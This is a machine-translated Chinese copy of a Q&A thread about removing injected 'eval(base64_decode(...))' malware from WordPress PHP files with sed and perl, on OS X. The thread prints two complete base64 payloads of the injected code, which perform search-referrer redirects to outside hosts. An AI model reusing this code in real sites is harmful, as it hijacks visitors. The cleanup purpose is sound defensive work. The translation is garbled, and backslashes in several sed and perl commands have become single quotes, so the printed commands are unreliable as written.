正在删除带有(osx)终端的base64 Eval Junk


Deleting base64 Eval Junk with (osx) terminal

在一系列php注入后试图清理——大约六个WordPress模板站点中的每个php函数都充满了垃圾。

我已经把服务器上的所有东西都放到了本地机器上,我希望有一个好方法可以用终端删除所有巨大的代码串。

对此我几乎一无所知。

http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/在服务器上有很好的清除说明,但在终端中替换我的路径/to/文件夹似乎不起作用。

感觉自己很近,但是,尽管我对终点站的方式视而不见,这似乎并没有那么令人安慰。

基于以上,以下是我所得到的——任何帮助都将不胜感激。

grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" |     xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php'n/g' 

更新

derobert——感谢一百万人的帮助——

基本上,在实际函数之前的每个<?php之后的空间都插入了这个:eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

每个字符都会变化,所以简单的查找和替换是不起作用的(我敢肯定,这就是重点)。

这是我的代码,它被证明是一个有效的解决方案。

我把所有的文件下载到我的本地机器上,并开始研究解决方案。这是我的解决方案{与我所发现的相结合}

    #!/bin/bash
    FILES=$(find ./ -name "*.php" -type f)
    for f in $FILES
    do
    echo "Processing $f file LONG STRING"
    sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
    echo "Processing $f file SMALL STRING"
    sed -i 's#eval(base64_decode.*));##g' $f
    done

将其保存为mybash.sh{来自您喜爱的文本编辑器}

    $ sudo chmod +x mybash.sh //execute permission for script
    $ ./mybash.sh

我使用了第一个LONG STRING,因为模式总是一样的。以下是对上述代码的解释

  • s#-起始分隔符{#-分隔符与sed规则中的相同}
  • eval(base64_decode.)) {第一个要匹配的模式,Reg Exp[.-匹配任何单个字符],[-匹配前一个元素零次或多次]}
  • #-分隔符{#}的第二次出现,在#之后为空,这基本上意味着用{''}替换第一个字符串{eval(base64_decode.*);}
  • #g-命令结束,SED语法

因此,有人可以访问您服务器上的任意文件。我想你已经清除了让他们进来的漏洞。

问题是,虽然eval(base64_decode的东西很明显,而且必须离开,但入侵者可能已经在里面放了其他东西。谁知道呢,也许他在某个地方删除了一个mysql_real_escape_string,让你很容易受到未来SQL注入的攻击?还是htmlspecialchars,让您容易受到JavaScript注入的攻击?可以做任何事。甚至可能不是PHP;你确定没有添加JavaScript吗?还是嵌入?

最好的确定方法是与已知的好拷贝进行比较。您确实有版本控制和备份,对吧?

否则,您确实可以使用perl -pi -e来替换该PHP代码,尽管根据具体情况,匹配它可能很困难。这可能会起作用(在副本上工作!),并根据需要调整正则表达式中的间距:

perl -pi -e 's!<'?php eval'(base64_decode'(.*?')') '?>!!g' *.php

但实际上,您应该手动查看每个文件,以确认不存在其他漏洞。即使你最后知道的好拷贝有点旧,你也可以查看差异。

编辑:

好吧,听起来你不想破坏整个PHP块,只想破坏eval行:

perl -pi -e 's!eval'(base64_decode'(.*?')');!!g' *.php

如果还有一条换行符要杀死,您可能需要在第一个!之前添加一个'n,等等。如果base64中实际上有换行符,那么您需要在g之后添加s